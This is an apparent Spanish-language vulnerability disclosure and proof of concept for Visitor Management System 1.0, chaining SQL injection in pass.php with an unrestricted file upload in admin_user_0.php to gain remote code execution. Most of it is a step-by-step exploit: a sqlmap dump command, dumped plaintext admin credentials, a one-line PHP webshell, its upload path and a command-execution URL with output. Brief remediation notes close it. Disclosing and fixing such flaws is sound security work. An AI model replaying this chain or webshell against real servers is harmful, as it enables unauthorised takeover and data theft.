
Prueba de concepto que demuestra la inyección SQL y la carga de archivos sin restricciones encadenadas para lograr la ejecución remota de código en Visitor Management System 1.0, incluyendo guía paso a paso de explotación y remediación.
| Campo | Detalles |
|---|
| Producto | Visitor Management System |
| Vendedor | code-projects.org |
| Versión | 1.0 |
| Clases de Vulnerabilidad | Inyección SQL (CWE-89) + Subida de Archivos sin Restricciones (CWE-434) |
| ID CVE | Pendiente |
| Puntuación CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación Requerida | Privilegios bajos (cuenta de guardia) como punto de entrada |
| Archivos Afectados | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Parámetro Vulnerable | phone (POST) |
El Visitor Management System 1.0 de code-projects.org es vulnerable a una cadena de ataque crítica que combina Inyección SQL y Subida de Archivos sin Restricciones, lo que conduce a la Ejecución Remota de Código.
Un atacante con acceso de privilegios bajos (cuenta de guardia) puede explotar una vulnerabilidad de inyección SQL en pass.php mediante el parámetro POST phone para volcar toda la base de datos, incluidas las credenciales de administrador en texto plano. Usando las credenciales extraídas para autenticarse como administrador, el atacante puede subir un webshell PHP a través del panel de gestión de Usuarios Administradores (admin_user_0.php), que no realiza ninguna validación de tipo de archivo ni de extensión. El webshell subido se almacena en un directorio accesible desde la web y puede ejecutarse directamente mediante URL, lo que resulta en una Ejecución Remota de Código completa en el servidor.
Además, las contraseñas se almacenan en texto plano en la base de datos, lo que significa que no se requiere ningún paso de descifrado después del volcado por SQLi.
Inicio de sesión de guardia con privilegios bajos
↓
Inyección SQL en pass.php (parámetro phone)
↓
Volcado con sqlmap → credenciales de administrador en texto plano extraídas
↓
Inicio de sesión como administrador (sanjay1:7861)
↓
Subida de archivos sin restricciones en admin_user_0.php
↓
Webshell PHP subido a /vms/php/folder/
↓
RCE mediante ?cmd=whoami → compromiso total del servidor
Navegue a la aplicación VMS e inicie sesión con las credenciales de guardia. Después de iniciar sesión, navegue a la página de Número de Teléfono:
http://<TARGET>/vms/php/phone_0.php

Envíe una comilla simple ' como valor del número de teléfono. La aplicación lanza un error fatal de MariaDB que expone la consulta original y la ruta del archivo:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
Archivo afectado: pass.php línea 9
Parámetro vulnerable: phone (POST)

error sql

Guarde la solicitud capturada con Burp Suite en un archivo (sqli.txt) y ejecute sqlmap:
sqlmap -r sqli.txt --dump --batch
sqlmap vuelca con éxito la tabla login_user de la base de datos vms, revelando credenciales en texto plano para todos los usuarios:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Nota: Las contraseñas se almacenan en texto plano — no se requiere descifrado de hash.

Usando las credenciales de administrador extraídas, inicie sesión en el panel de administración:
Usuario: sanjay1
Contraseña: 7861
El panel de administración completo ahora es accesible, incluyendo la gestión de Empleados, Departamentos, Usuarios Administradores e Informes.

Navegue a la página de gestión de Usuarios Administradores:
http://<TARGET>/vms/php/admin_user_0.php
La página contiene un campo de subida de archivos para la imagen de perfil. La aplicación no realiza ninguna validación de tipo de archivo, ni filtrado de extensiones, ni comprobación de tipo MIME.
Complete el formulario con cualquier valor y suba el siguiente webshell PHP como archivo de imagen (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

Navegue a la página de visualización de Usuarios Administradores:
http://<TARGET>/vms/php/admin_display_0.php
La cuenta de administrador recién creada es visible en la tabla. El webshell subido se almacena en:
http://<TARGET>/vms/php/folder/web2_command.php

Ejecute comandos arbitrarios del sistema a través del webshell:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
Resultado: El servidor devuelve el usuario actual del sistema confirmando la Ejecución Remota de Código completa:
desktop-g1i9np3\dell

| Archivo | Vulnerabilidad |
|---|---|
/vms/php/pass.php | Inyección SQL mediante el parámetro POST phone |
/vms/php/admin_user_0.php | Subida de Archivos sin Restricciones — sin validación de extensión ni MIME |
/vms/php/folder/ | Directorio de almacenamiento del webshell — accesible desde la web, sin restricciones |
Para la Inyección SQL:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
Para la Subida de Archivos:
Para el Almacenamiento de Contraseñas:
password_hash() y password_verify() — nunca almacenar en texto plano